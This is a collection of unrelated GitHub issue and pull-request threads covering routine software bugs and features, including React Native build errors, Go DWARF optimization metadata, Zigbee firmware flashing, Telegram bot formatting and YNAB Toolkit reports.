[$250] Thread - New message does not appear in main chat after returning from thread and sending text

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 1.4.58-0
Reproducible in staging?: Y
Reproducible in production?: N
If this was caught during regression testing, add the test name, ID and link from TestRail: N/A
Issue reported by: Applause - Internal Team
Action Performed:

Go to staging.new.expensify.com
Go to any chat
Send a message
Right click on the message > Reply in thread
Send a reply
Click on the link in header subtitle to return to main chat
Send a message in the main chat

Expected Result:
The new message in Step 7 will appear in the chat view
Actual Result:
The new message in Step 7 does not appear in the chat view, but it shows in LHN. It only appears in the main chat after refreshing the page
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[x] Android: Native
[x] Android: mWeb Chrome
[x] iOS: Native
[x] iOS: mWeb Safari
[x] MacOS: Chrome / Safari
[x] MacOS: Desktop

Screenshots/Videos
Add any screenshot/video evidence

https://github.com/Expensify/App/assets/78819774/5c082f7c-edfd-43cd-b86c-f4e82f1095ea
View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~01cc9654e48d69e950
Upwork Job ID:<PHONE_NUMBER>715214848
Last Price Increase: 2024-03-29

@mountiny  FYI I haven't added the External label as I wasn't 100% sure about this issue. Please take a look and add the label if you agree it's a bug and can be handled by external contributors

This seems odd and External to me. Curious if anyone can spot what introduced this

Made a revert of https://github.com/Expensify/App/pull/38722 and confirmed the issue is resolved.


Change k8s upstream tests to 1.13

The k8s upstream tests are currently broken upstream. We should bump the version to k8s 1.13 once the tests are fixed.
https://github.com/kubernetes/kubernetes/issues/71728

https://github.com/kubernetes/kubernetes/pull/74290 was merged which purportedly fixes this


Cannot read properties of undefined (reading 'transformFile')

Description
The build process I'm running with node version 18.15.0 is failing and throwing an error code that says it cannot read properties of undefined. Specifically, it's trying to read the 'transformFile' property and failing to do so. I tried cleaning the build, fresh installing the packages and pods, but cannot get past this error.

I see that from 0.68+, RN has been updated to Node 16, meaning users are now required to use a version of Node >= 14. Could updating my RN version fix this error? ( I personally don't think so, but trying to hear different answers)

My start command is

   "start": "NODE_OPTIONS=--openssl-legacy-provider react-native start"

This command instructs Node.js to use the legacy OpenSSL provider instead of the default provider. I don't particularly feel comfortable forcing node to use a legacy provider, basically a deprecated option, when I can use node 16.

I feel like when XCode is building the app, possible when it starts the metro server, it's not running with the command --openssl-legacy... . Did I miss a step here? Where can I update this?

Thank you in advance
React Native Version
0.67.5
Output of npx react-native info
System:
OS: macOS 13.1
CPU: (8) arm64 Apple M1 Pro
Memory: 88.20 MB / 16.00 GB
Shell: 3.2.57 - /bin/bash
Binaries:
Node: 18.13.0 - ~/.nvm/versions/node/v18.13.0/bin/node
Yarn: 1.22.15 - ~/.nvm/versions/node/v16.15.1/bin/yarn
npm: 8.19.3 - ~/.nvm/versions/node/v18.13.0/bin/npm
Watchman: 2<IP_ADDRESS> - /usr/local/bin/watchman
Managers:
CocoaPods: 1.12.0 - /Users/nheo/.rvm/gems/ruby-3.0.0/bin/pod
SDKs:
iOS SDK:
Platforms: DriverKit 21.4, iOS 16.0, macOS 12.3, tvOS 16.0, watchOS 9.0
Android SDK: Not Found
IDEs:
Android Studio: 2020.3 AI-203.7717.56.2031.7784292
Xcode: 14.0/14A309 - /usr/bin/xcodebuild
Languages:
Java: 11.0.10 - /usr/bin/javac
npmPackages:
@react-native-community/cli: Not Found
react: ^17.0.2 => 17.0.2
react-native: ^0.67.5 => 0.67.5
react-native-macos: Not Found
npmGlobalPackages:
react-native: Not Found <--- using pnpm
Steps to reproduce

rm -rf node_modules
pnpm i
cd ios &&  pod install
Open XCode and Build

Snack, code example, screenshot, or link to a repository

Just updated RN to 0.71 and react to 18.2. Rebuilding now. Will update soon

its not resolved

its not resolved

it not resolved with react-native 0.63.4, node 18

It's gone by downgrading my version to react-native 0.62.2, node 14.18.1,  I think it happens in the new version.

The issue was closed by downgrading my node version 16 to 14

with RN 0.72 you can't downgrade to node version below 16, issue is happening

Like @ant100 this is still an issue and incredibly frustrating.

In case anyone else is struggling after reading the whole internet, for me the answer was to upgrade react-native-svg-transformer from 1.10 to 1.30. I had already tried things like passing --openssl-legacy-provider so that might also be necessary as well.

I have an another solution for this, please try this one, worked for me.
Fix for ios
In project.pbxproj file, add the below code:
buildSettings = {
NODE_OPTIONS = "--openssl-legacy-provider";
}
For android
On mac, just run the below command :
export NODE_OPTIONS=--openssl-legacy-provider
then install npm by using npm install

i am get this issue in android can anyone give me the perfect solution for this

in my case i have installed "react-native-svg-transformer": "^1.0.0" and the issue is gone everything now working fine.

@wajahat959 but in my case issue is still there like its born with this project . please suggest me wht to do cause i have chnge the node versions and all installed svg transformer but project still give that error if you have anything that may work for me so please let me know
thanku

try https://github.com/facebook/metro/issues/1205#issuecomment-2126933695

@wajahat959 but in my case issue is still there like its born with this project . please suggest me wht to do cause i have chnge the node versions and all installed svg transformer but project still give that error if you have anything that may work for me so please let me know thanku

You are facing this on windows or mac?
Try using this solution:
To resolve the issue, set the following environment variable on your system. The method varies depending on whether you're using Windows or macOS.
For Windows
Open Command Prompt (as Administrator).
Run the following command - setx NODE_OPTIONS "--openssl-legacy-provider"
For macOS
Open Terminal & run the following command - export NODE_OPTIONS=--openssl-legacy-provider
After setting this environment variable, your issue should be resolved.

It works for me :- Open Terminal & run the following command - export NODE_OPTIONS=--openssl-legacy-provider

I faced same issue and installing metro-react-native-babel-transformer solved it


Allow B to be set externally

This is useful if you are building from a SRC repository where the mix / erlang project is in a subdirectory of the repo.

I got the idea.
Thanks.


Fix diskmaker-x version naming scheme

Looks like they only using the major version number in the actual app name. No promises that this revision will work forever though.

Cleaned up and squashed the PR.


Update to React 16

I'm using React 16 but get the error npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself

The same happens with React Native, npm WARN<EMAIL_ADDRESS>requires a peer of<EMAIL_ADDRESS>but none is installed. You must install peer dependencies yourself. Current latest with support for React 16 is 0.50.0-rc.1

Any news on this?

This is fixed now. However this new version is non backward compatible.


[iOS] Status Bar Network Activity Indicator

I'm using version 1.1.8 and noticed that my StatusBar's network indicator visibility is influenced by the Track Player's caching status.
My problem is that I can't override this behaviour using my own StatusBar in the project any more. Any solutions for this? Thanks!

@skizzo can you explain a little bit more? What were you doing before that no longer works?


How to find AccountName when adding ADO Connection

Hi all,
How can I find out what I'm supposed to enter in the Account Name field when adding an Azure DevOps Connection? I've tried all possible combinations that came to my mind.
Thanks,
Eric

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: de1986ef-3b96-9706-59f7-b7c4d0b9a807
Version Independent ID: de1986ef-3b96-9706-59f7-b7c4d0b9a807
Content: Azure DevOps integration
Content Source: Viva/goals/azure-devops-integration.md
Service: viva
Sub-service: viva-goals
GitHub Login: @ms-vikashkoushik
Microsoft Alias: vsreenivasan

Thank you for submitting feedback.
I think the best way forward is if you open a service ticket in your tenant so this can get resolved ASAP. Based on the outcome let me know if it is something that can be called out in the docs.
Please follow this link to contact support for business products:https://docs.microsoft.com/office365/admin/contact-support-for-business-products
Please keep us posted here on the resolution so we can feed whatever information you discover into the content.

Any way you can simply post the resolution to this?  I'm running into the exact same issue.  Seems like a problem that can be solved with some simple documentation explaining what is meant by "Azure Account Name"...
Is it the DevOps Organization name?  The user's display name?  The user's login name?  Just as simple screen shot showing where the value in the existing screen shots comes from would be helpful.

We actually never managed to solve it. I think the Azure DevOps Admin has to unlock the app first, which they might not do for PPE services.


Bump sdk to 9.0.100-rc.1.24452.12

Description
Checklist

Is this feature complete?

[ ] Yes. Ready to ship.
[ ] No. Follow-up changes expected.

Are you including unit tests for the changes and scenario tests if relevant?

[ ] Yes
[ ] No

Did you add public API?

[ ] Yes

If yes, did you have an API Review for it?

[ ] Yes
[ ] No

Did you add <remarks /> and <code /> elements on your triple slash comments?

[ ] Yes
[ ] No

[ ] No

Does the change make any security assumptions or guarantees?

[ ] Yes

If yes, have you done a threat model and had a security review?

[ ] Yes
[ ] No

[ ] No

Does the change require an update in our Aspire docs?

[ ] Yes

Link to aspire-docs issue:

[ ] No

The arcade update PR finally merged, so nothing to do here. Closing!


Formal task return values

Currently, task return values are implicit -- any attribute on the prior task can be accessed by the flow runner. This is a work in progress proposal for adding a return_values dict to BaseTask.
Rationale
Accessing any attribute of the prior task execution class is likely to expose internal behaviors to the flow. Though the public attributes of a task instance rarely change, accessing them by flow definition is asking for trouble.
Other benefits include:

CI servers - such as mrbelvedereci - being able to easily store task results.
Access to return values in a structured way for functional testing.
Generation of documentation for task definitions.

Task Running Contexts
CumulusCI has three public interfaces for running tasks:

the CLI tool
the flow task runner
the BaseTask Callable interface

Current Task Return Value Conventions / Impact Analysis
There are two conventions for task return values. Attributes are used by the flow runner, and a function return value is used by the Callable interface. The CLI tool has no support for task return values.
Attributes - Flow Runner
Public instance attributes of the task can be accessed after the completion of a task by the next flow in the flow runner using ^^task_name.attr syntax. The following tasks are known to use this:

cumulusci.tasks.salesforce.PackageUpload
cumulusci.tasks.github.CreateRelease

_run_task return value
The _run_task method can return a value, which will be returned by the __call__ of the task. I can find no instance of this actually being put to use in the codebase. mrbelvedereci impact yet to be assessed, but this enhancement would create a change to that tool anyway.
Implementation
MVP
Add a return_values property to BaseTask which is initialized as an empty dict.
Task implementations set their return values by adding to the return_values dict.
The flow runner will be updated to reach into the return_values dict instead of the instance of the task itself. Access semantics and syntax will remain the same.
The __call__ interface on task will return the return_values property instead of the result of _run_task.
The result of _run_task is stored in an instance attribute named task_result.
Further Implementation
Task classes declare their return_values dict at a class level like task_options.

This happened.


import findIndex from lodash

In the example code for reactabular-easy you define onRemove function as:
`  onRemove(id) {
const rows = cloneDeep(this.state.rows);
const idx = findIndex(rows, { id });
// this could go through flux etc.
rows.splice(idx, 1);

this.setState({ rows });

}`
And an error is raised because findIndex is not defined. Looking from the other examples this is a Lodash function that needs to be implemented.
Great project btw, really looking forward to using it in my projects.
Regards,
Bozhidar

Thanks! Fixed. It's easy to miss those as the example imports aren't being linted.


Fixed issue where disconnect was not reconnecting and added tests

I was having an issue where I was not supplying a validation query, but the connection was actually dying (e.g. postgres restart) and it was just hanging with internal "Channel is closed" errors. I went ahead and added an opt-in config to make sure the connection is connected so as not to break BC. I also added tests for it and added tests for the validation query too.

With a couple more pull requests coming in by @jaceksokol, can this PR be revisited?

Bump @jaceksokol (and @jaroslawk might be interested too).


Please add Blazor sample with ML.NET

Blazor allows us to use .NET Core features. Now that the .NET Core supports machine learning, it would be very helpful to learn how we can use ML.NET features with Blazor on the client side.
If this works, we could perform machine learning on the client side or server side using our web apps.

Thanks for contacting us. We believe that the question you've raised have been answered. If you still feel a need to continue the discussion, feel free to reopen it and add your comments.


Implement action update

The action can't be updated so far. We have to implement the update function.

:tada: This issue has been resolved in version 1.5.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Column order is mixed up in Exasol selects due to internal query wrapping

Thanks for continuously improving the spark-exasol-connector. It really simplifies leveraging Exasol data in spark.
I've upgraded to the latest available release 0.1.3 of the spark-exasol-connector. I tried reading data from Exasol and writing to Spark using insertInto. insertInto ignores column names and relies on column order (see https://spark.apache.org/docs/latest/api/scala/index.html#org.apache.spark.sql.DataFrameWriter). So my expected behavior was that if I define the exact same order of column in my Exasol query as used in the target Hive table, everything should work fine. Unfortunately, an internal query-wrapping step in the spark-exasol-connector mixes up the column order.
I've spotted the issue in the code in https://github.com/exasol/spark-exasol-connector/blob/master/src/main/scala/com/exasol/spark/ExasolRelation.scala#L108 , though I haven't investigated further where the mixed up columns originate from. It would be great if the query-wrapper in ExasolRelation would keep the same column order as the original query.
Thanks.

Hello @beatbull,
Thanks for opening this issue!
Could you please clarify, when you say insertInto is it Spark SQL syntax?
For example,
exaDF.createGlobalTempView("exaTable")
val res = spark.sql("INSERT INTO TABLE myTable SELECT * FROM exaTable")
res.show(10)

If you have an example, could you please provide it?
As you probably know, we do not have saving into Exasol feature yet. (I am working on this on my fork). However, if it "INSERT INTO" syntax, it might be easier to provide that with InsertableRelation on ExasolRelation.

I'm reading from Exasol via spark-exasol-connector and write to a Hive table using Spark's insertInto. So I'm not inserting to Exasol via spark, only reading from it.

Hi @morazow ,
the problem seems to be a bit more relevant. I tried using saveAsTable to store the data retrieved from Exasol via the spark-exasol-connector into a Hive table. Unfortunately, this doesn't work in spark due to https://community.hortonworks.com/content/supportkb/210572/how-to-append-data-to-an-hive-orc-table-from-spark.html . So I have to use insertInto when writing the DataFrame to the target Hive table. Since the spark-exasol-connector is mixing the column order up, I have to add an additional step to assure the order of columns in the DataFrame are exactly the same as the target Hive table.
val columns = df.sparkSession.catalog.listColumns(targetTable)
df
  .select(columns.collect.map(column => col(column.name)).toList: _*)
  .write
  .mode(SaveMode.Append)
  .insertInto(targetTable)

If the spark-exasol-connector would keep the column order as it was defined in the SQL query, the additional select for reordering the columns would not be necessary.


Add AWS_CONTAINER_AUTHORIZATION_TOKEN as default value for SSRF_ENV_VARIABLES

Description of changes:
This change adds AWS_CONTAINER_AUTHORIZATION_TOKEN as a default value for SSRF_ENV_VARIABLES config in addition to the already existing values AWS_TOKEN and AWS_SESSION_TOKEN.
The AWS_CONTAINER_AUTHORIZATION_TOKEN env variable contains the authorization token in ECS, EKS and even in Java Lambda's when SnapStart is enabled. Adding this env variable as another default value to SSRF_ENV_VARIABLES allows the Secrets Manager Agent to be used in the above containerized environments without developers having to manually add it.
Refer :

https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html
https://docs.aws.amazon.com/lambda/latest/dg/snapstart-activate.html

Verification

cargo build succeeds and all unit tests pass.
Manually tested by creating an Java Lambda Extension with SnapStart enabled, using the example provided, and verified that the Agent is able to retrieve secrets.

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 68.81%. Comparing base (2081106) to head (50c35ea).

Additional details and impacted files
@@            Coverage Diff             @@
##             main      #28      +/-   ##
==========================================
- Coverage   68.89%   68.81%   -0.09%
==========================================
  Files          14       14
  Lines        2887     2886       -1
  Branches       11       10       -1
==========================================
- Hits         1989     1986       -3
- Misses        898      900       +2

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Couldn't communicate with the adapter

After update [TYZS13] (see log) I couldn't communicate with the adapter in Zigbee...
Elelabs_EzspFwUtility.py flash -f efr32mg13p-v8-6910-57600.gbl -p COM13
Elelabs_EzspFwUtility:   Generic Zigbee EZSP adapter detected:
Elelabs_EzspFwUtility:   Firmware: 6.5.0-188
Elelabs_EzspFwUtility:   EZSP v7
Elelabs_EzspFwUtility:   Launch in bootloader mode
Elelabs_EzspFwUtility:   EZSP adapter in bootloader mode detected:
Elelabs_EzspFwUtility:   Gecko Bootloader v1.8.0
Elelabs_EzspFwUtility:   Successfully restarted into X-MODEM mode! Starting upload of the new firmware...
Elelabs_EzspFwUtility:   Firmware upload complete
Elelabs_EzspFwUtility:   Rebooting NCP...
Elelabs_EzspFwUtility:   Couldn't communicate with the adapter in Zigbee (EZSP) mode, Thread (Spinel) mode or bootloader mode
I try to run: Elelabs_EzspFwUtility.py restart -m btl -p COM13
Response:
Elelabs_EzspFwUtility:   Couldn't communicate with the adapter in Zigbee (EZSP) mode, Thread (Spinel) mode or bootloader mode
Also I try to run: Elelabs_EzspFwUtility.py restart -m nrml -p COM13
Response:
Elelabs_EzspFwUtility:   Couldn't communicate with the adapter in Zigbee (EZSP) mode, Thread (Spinel) mode or bootloader mode
Any other idea?

based on the filename 57600.gbl
Your new firmware is using 57600 baudrate.
The default baudrate used by the utility is 115200.
try specifying the baudrate manually -b 57600

Thanks,
Now if I run the command: Elelabs_EzspFwUtility.py restart -m nrml -p COM13 -b 57600
It work OK...
Elelabs_EzspFwUtility:   Generic Zigbee EZSP adapter detected:
Elelabs_EzspFwUtility:   Firmware: 6.9.1-214
Elelabs_EzspFwUtility:   EZSP v8
Elelabs_EzspFwUtility:   Allready in normal mode. No need to restart
but if I run the command: Elelabs_EzspFwUtility.py restart -m btl -p COM13 -b 57600
I couldn't reset into bootloader mode...
Elelabs_EzspFwUtility:   Generic Zigbee EZSP adapter detected:
Elelabs_EzspFwUtility:   Firmware: 6.9.1-214
Elelabs_EzspFwUtility:   EZSP v8
Elelabs_EzspFwUtility:   Launch in bootloader mode
Elelabs_EzspFwUtility:   Couldn't communicate with the adapter in Zigbee (EZSP) mode, Thread (Spinel) mode or bootloader mode
and if I couldn't reset into bootloader mode I cannot flash the adapter
Any idea what the problem?

I think your current bootloader is also 57600.
Our utility is right now hardcoded to talk to the bootloader using 115200 baudrate.
Try using 3rd party utility like TeraTerm to talk to it and send your new file using TeraTerm XMODEM send.
Or you can wait when we add 57600 baudrate for the bootloader communication, but, that won't happen any time soon.

Hi,
I tried all the options you mentioned,
the problem seems to be that the adapter cannot be put into bootloader mode after I update it to efr32mg13p-v8-6910-57600.gbl firmware...
Maybe you have more ideas?


Delete buttons from MarkdownV2 message preserving original text from callback - possible MarkdownV2 formatting issue

Steps to reproduce
await client.SendTextMessageAsync({chatId}, text: "Hello *me*\\.", replyMarkup: {singleContinueButton}, parseMode: ParseMode.MarkdownV2);

await for Continue button callback, and delete the button from the message:
CallbackQuery query = ...;
await client.EditMessageTextAsync(query.Message.Chat.Id, query.Message.MessageId, text: query.Message.Text, parseMode: ParseMode.MarkdownV2);

Expected  behavior
Message looking like this: Hello me.
Actual behavior
Telegram.Bot.Exceptions.ApiRequestException: Bad Request: can't parse entities: Character '.' is reserved and must be escaped with the preceding ''
at TradeBobCommon.Services.TelegramService.HandleException(Exception exception, String source, Nullable`1 chatId) in /home/chris/TradeBobServer/TradeBobCommon/Services/TelegramService.cs:line 201
This is because query.Message.Text == "Hello *me*." but it should == "Hello *me*\\.";
Environment data
NuGet Package Version: (e.g. 13.0.1)
16.0.0
.NET Version: (e.g. 4.7, Core 1.1, Mono, etc.)
5.0.302

I think your issue is related to this answer - #44.
From what i see there is no way to reconstruct markup from response:
var message = await botClient.SendTextMessageAsync(chatId,
                                     text: "Hello *me*\\.",
                                     replyMarkup: new InlineKeyboardMarkup(InlineKeyboardButton.WithCallbackData("Continue", "continue")),
                                     parseMode: ParseMode.MarkdownV2);

as you can see raw json for message doesn't contain any markup information:
{
    "chat_id": 0123456,
    "text": "Hello *me*\\.",
    "parse_mode": "MarkdownV2",
    "reply_to_message_id": 0,
    "allow_sending_without_reply": false,
    "reply_markup": {
        "inline_keyboard": [
            [
                {
                    "text": "Continue",
                    "callback_data": "continue"
                }
            ]
        ]
    }
}

raw json for callback update looks similar:
{
    "message_id": 31520,
    "from": {
        "id": 987654321,
        "is_bot": true,
        "first_name": "botframeworktestbot",
        "username": "botframework_test_bot"
    },
    "chat": {
        "id": 0123456,
        "first_name": "karb0f0s",
        "username": "karb0f0s",
        "type": "private"
    },
    "date":<PHONE_NUMBER>,
    "text": "Hello me.",
    "entities": [
        {
            "offset": 6,
            "length": 2,
            "type": "bold"
        }
    ],
    "reply_markup": {
        "inline_keyboard": [
            [
                {
                    "text": "Continue",
                    "callback_data": "continue"
                }
            ]
        ]
    }
}

there are several options here: you might keep (or generate) formatted message yourself on each request, or you can send messages using text and entities parameters from the response without specifying parseMode.
in case you don't actually change message text you might use editMessageReplyMarkup method to edit message markup.


cmd/compile: record optimization level in binary

Go's debug information for optimized binaries needs a lot of improvement (we're working on it). In the mean time, it would be valuable for debuggers to know whether a binary optimized or unoptimized. For example, this could be used (in combination with the toolchain version already recorded in the binary) to warn users that local variable information may be incorrect and that they should consider recompiling with optimizations disabled.
One complication is that it's currently possible (and fairly common) to compile different packages with different optimization levels. If the cmd/go changes go as planned, this will no longer be possible in 1.10, but may again become possible in the future.
Some reasonable ways to record this information are:

Create a per-package symbol to indicate the optimization level. We could create this symbol only if the package is unoptimized, so we don't bloat optimized binaries with lots of extra symbols. This would be easy to get at from any symbolic debugger.

Record this as a custom attribute in each DWARF function (there is no DIE corresponding to a package). This is arguably the "right" place to record this, but it requires help from the debugger's DWARF decoder to access.

I think both are pretty easy to implement. I would lean toward solution 1.
/cc @rsc @dr2chase @zombiezen

One place to put this kind of information in  DWARF is in the DW_AT_producer attribute of the .DW_TAG_compile_unit DIE.  That's where GCC puts it.  Admittedly the consumer has to parse the string.

That doesn't let us record per-package information, though.

A package is a compilation unit.

A package is a compilation unit.

Not in gc's DWARF output. Though it would be reasonable to change that.

I was also confused by this... right now the gc compiler doesn't emit the comp unit DIE-- rather a single unit is emitted by the linker.  Having the compiler emit a compilation unit DIE seems like it might be nice.

I looked into creating a separate CU for each package a bit. It's a little tricky since, as far as I can tell, the linker has lost track of which package a symbol belongs to by the point it's stitching together the DWARF. Symbols from different packages are also interleaved, so we'd have to produce DW_AT_ranges attributes for the CU PCs instead of just DW_AT_low_pc and DT_AT_high_pc like we do now, and those ranges could potentially be quite verbose.

Maybe the CU ranges wouldn't be so bad. In the cmd/go binary, there are 146 packages and only 240 transitions from one package to another in the symbol table based on:
readelf --debug-dump=info go | awk 'x {x=0;print $4} /subprogram/ {x=1}' | sed 's/\..*//' | grep -v ^type$ | sort | uniq | wc -l
readelf --debug-dump=info go | awk 'x {x=0;print $4} /subprogram/ {x=1}' | sed 's/\..*//' | grep -v ^type$ | uniq | wc -l

My understanding was that the hi/lo PC range for the CU DIE was optional -- perhaps it would make sense to just leave it out altogether.  Certainly for C++ programs where there is linker reordering of functions (for example, based on profile data), hi/lo PC or ranges would not be generated.

My understanding was that the hi/lo PC range for the CU DIE was optional -- perhaps it would make sense to just leave it out altogether.

Ah, well that would be more convenient.
Still, I think the harder part is that it's lost track of the packages when it creates the CU. I compared the symbols in ctxt.Textp (which is what it uses now) with the symbols in ctxt.Library[x].Textp, but the lists are different. ctxt.Library[x].Textp has a bunch of extra symbols, which I assume are ones that were dead-code eliminated. And ctxt.Textp has a bunch of symbols that aren't in the per-package list: the type symbols and what appear to be method symbols for generated wrappers and embedded types. Maybe we could add a *Library field to symbols and make sure it's filled in for these generated symbols.
Given that the CU DIE is constructed by the linker, we would also need a way to communicate the optimization level from the compiler to the linker to be put in this DIE.

I would normally assume that we want this on a per-function granularity, for the use case of "this fails in production, optimization hides the debugging info, but I cannot afford to run the whole thing unoptimized, therefore I will use the (as-yet non-existent) //go:noopt comment to disable optimization of the single function I really need to catch in the act".
However, if we plan to get our optimized-debugging story good enough, we don't want to introduce a feature that we hope to deprecate within a year.
Do I have this right?

I should point out that https://github.com/golang/go/issues/19340 is about insuring that optimized and non-optimized packages aren't mixed together accidentally.

I would normally assume that we want this on a per-function granularity

I don't think there is a standard way to say this in DWARF, it would have to be an extension attribute.

I should point out that #19340 is about insuring that optimized and non-optimized packages aren't mixed together accidentally.

Right. Russ is hoping to get something out for 1.10 that will prevent accidentally mixing and matching gcflags. (Though it's possible that, in the future, there will be a way to intentionally specify gcflags for specific packages in a way that plays nicely with caching.)

I don't think there is a standard way to say this in DWARF, it would have to be an extension attribute.

Yes. I believe this is true whether this is function granularity or package granularity or anything else. I'm open to suggestions for what this attribute should be, especially if there are already existing vendor attributes like this.

I discussed this with several other runtime and compiler people today and we decided to split up the packages into separate compilation unit DIEs (which I've already implemented), and add the compile command line flags to DW_AT_producer. This is similar to what other toolchains do and doesn't require a vendor attribute. It's also more flexible than a boolean optimized/unoptimized flag, especially considering there are already multiple compiler flags that affect optimization behavior.


[TASK] On mobile actions should be icons instead of text

Estimated story points: 2
Description

Acceptance criteria

time: 5h


Use 'UNKNOWN' when git information is not available

Prior to this change, if gradle source code is built from a directory without git information, the build fails. In this case, let's simply use UNKNOWN as branch/revision.

@jjohannes you're right, this is only an issue for release, master is good.


Fix debug print to support removed inputs

Fix DebugPrint extension to support removed inputs. I also fixed its test to check print result.
related to #2452

LGTM.

The tests on Win+Py2 do not pass, maybe due to the shape printed as (3L, 5L). Is it ok?

LGTM


Exclude transfers from/to tracking accounts from reports

GitHub Issue (if applicable): n/a
Trello Link (if applicable): n/a
Explanation of Bugfix/Feature/Modification:
Transfers from/to tracking account considered as expense/income in toolkit reports which doesn't make much sense. It caused weird situations when I might transfer 5000$ from my cash account to tracking account and end up having 7000$ of inflows and 6000$ of outflows one month, where real inflows are only 2000 out of 7000 and only 1000 are real outflows. This PR changes way we check for transfer transactions in reports to include transfer transaction from/to tracking accounts
I'm not sure if I implemented this right way and not sure are there any edge cases (since I don't use vast majority of YNAB features) so any help with this will be very appreciable

@OlegWock I actually agree with @nconantj in his bug report #2603.
Can you give a better explanation of what this was meant to fix? Were we capturing transfers between non-tracking accounts and that's what we were aiming to fix? That's what I thought but it looks like this broke legit inflow/outflows?
Money going from untracked -> tracked is an inflow.
Money going from tracked -> untracked is an outflow.
Money going between untracked should be negligible/ignored.

@joshmadewell it seems there was misunderstanding. Only untracked account I have is of 'asset (e.g. investment)' type and when I moved money to there was huge spikes in Income/Outflow report (and so big numbers in Income vs Expense report)

I highlighted February 2021 on chart. There wasn't much of income or expense that month, it's mostly just moving money from my bank (tracked) account to broker (untracked) account. Which doesn't seem as really income or expense to me, it's just money transfer. But I'm not really into all financial stuff, so my understanding might be wrong.
But I don't have any untracked accounts of other types (and not sure I even understand correctly how Loan accounts or Liability works 😅 ), so didn't tested how PR works with them.
I'd propose to revert PR now. And if you agree that moving money to 'asset' account should be displayed, I'll be happy to polish this PR to work only on asset accounts.

Also, I have question about Income vs Expense report (noticed this just now (on v.2.35.1)). In Inflow/Outflow chart there are spikes in both directions, so both inflow to untracked account and outflow from tracked account was counted. However, in Expense vs. Income report, only outflow to untracked account displayed as expense (and no 'income' to untracked account). Is this intended?

It actually looks like the problem is that inflow/outflow is just taking raw amount from transactions in it's calculation https://github.com/toolkit-for-ynab/toolkit-for-ynab/blob/master/src/extension/features/toolkit-reports/pages/inflow-outflow/component.jsx#L189-L200 but income/expense is only considering money that got assigned as isImmediateIncomeCategory (ie: Ready to Assign) https://github.com/toolkit-for-ynab/toolkit-for-ynab/blob/master/src/extension/features/toolkit-reports/pages/income-vs-expense/component.jsx#L193-L208
I actually do kind of feel like this is intentional and correct for income/expense and kind of like that inflow/outflow doesn't do the same thing. Imo, the correct thing for a user to do on the inflow/outflow is to filter out tracking accounts.

You can manually filter out tracking and loan accounts in any account. Overall, this really seems to be doing something that could be done by anyone on their own.

Thinking more on this, I think @OlegWock was looking for a way to ignore asset transfers. That would be useful to smooth some curves.
Perhaps reports affected by asset transfers could have a checkbox for "Ignore Asset Transfers." When active it would filter out any transactions where both sides were for an asset type (Checking, Savings, Cash, Asset).

We use YNAB Toolkits for reports for our business, and our transfers to our tracking accounts should reflect an expense. This change now makes it so we don't see those as expenses. Is there a way to add a toggle to include/exclude transfers to tracking accounts as expenses?

@codyallard28 Josh reverted this commit so with next release everything will be as before

Hoping to get the next release out tonight!

Awesome!

Do we have a release date for the next update? Still haven't seen this revert. Thanks

Why was this reverted?

This can still be useful we just need to have it optional


Return types instead of dynamic

It would be nice if if there was an option to get response back that were not dynamics so you know what to expect without needing to check docs, type safety and prevent developer errors. Dynamic does not have to go but it would be nice if there was a typed version as well

Have been meaning to - im almost done with a refactor and then will look to this next

sounds great.  Of the 2 libs for dotnet yours has more of the methods supported which is great.

I think it has complete or nearly complete coverage.  If you see gaps let me know.

not an enpoint that is missing but more a support thing it feels like you should have something like this class https://github.com/Playwo/ChiaRPC.Net/blob/master/ChiaRPC.Net/Utils/Bech32M.cs  to convert the puzzleHash to addresses and back.  apart from that i have not found anything else missing

@seertenedos  take a look at https://github.com/dkackman/chia-dotnet/tree/static-types. It's about 80% complete but I'd love to get some more test coverage on it if you've got something you're working on.

@dkackman that looks great though i would use either List or ICollection on data stored in the types instead of IEnumerable.  IEnumerable can be interated over atleast once but maybe no more than that and it takes one interation just to get the size. For a lot of those collections i would just use IList instead of IEnumerable to make it easier for users of the lib to move around the collections. I mean this for things inside response objects not when the response itself is a list of objects.
I am workingon stuff working with the FullNode.  If you release it as a prerelease nuget i am happy to pull it down and test it in my usecase.

@dkackman may also move the entities/data structure classes to a subfolder to keep things cleaner

@dkackman may also move the entities/data structure classes to a subfolder to keep things cleaner

good idea

@dkackman that looks great though i would use either List or ICollection on data stored in the types instead of IEnumerable. IEnumerable can be interated over atleast once but maybe no more than that and it takes one interation just to get the size. For a lot of those collections i would just use IList instead of IEnumerable to make it easier for users of the lib to move around the collections. I mean this for things inside response objects not when the response itself is a list of objects.

I'll look at that.

I am workingon stuff working with the FullNode. If you release it as a prerelease nuget i am happy to pull it down and test it in my usecase.

Give this a try. Continued feedback welcome.
https://www.nuget.org/packages/chia-dotnet/0.4.0-alpha.1

@dkackman I updated my code to use the above nuget and found one bug so far.  Try testing "fullNode.GetAdditionsAndRemovals" the Addition and Removal lists have Coin in it but that is actually 1 more level down.  There should be a level above that and because of that all the values in the reponse for Additions and Removals are empty objects.

@dkackman I updated my code to use the above nuget and found one bug so far. Try testing "fullNode.GetAdditionsAndRemovals" the Addition and Removal lists have Coin in it but that is actually 1 more level down. There should be a level above that and because of that all the values in the reponse for Additions and Removals are empty objects.

Ah. They are CoinRecord not Coin. fix incoming.

@seertenedos fix is here: https://www.nuget.org/packages/chia-dotnet/0.4.0-alpha.2
I reviewed the python and get_additions_and_removals appears to be the only place where CoinRecord is used for additions instead of Coin. - also just noticed that those are still IEnumerable. Will change in next release.

@dkackman that looks good now

I finished all of the full node method.  Which mens everything is done except the non standard wallets, which I don't have good test cases for. I'm going to play around with those next.
dotnet add package chia-dotnet --version 0.4.0-alpha.3


Value RN1 to RN3

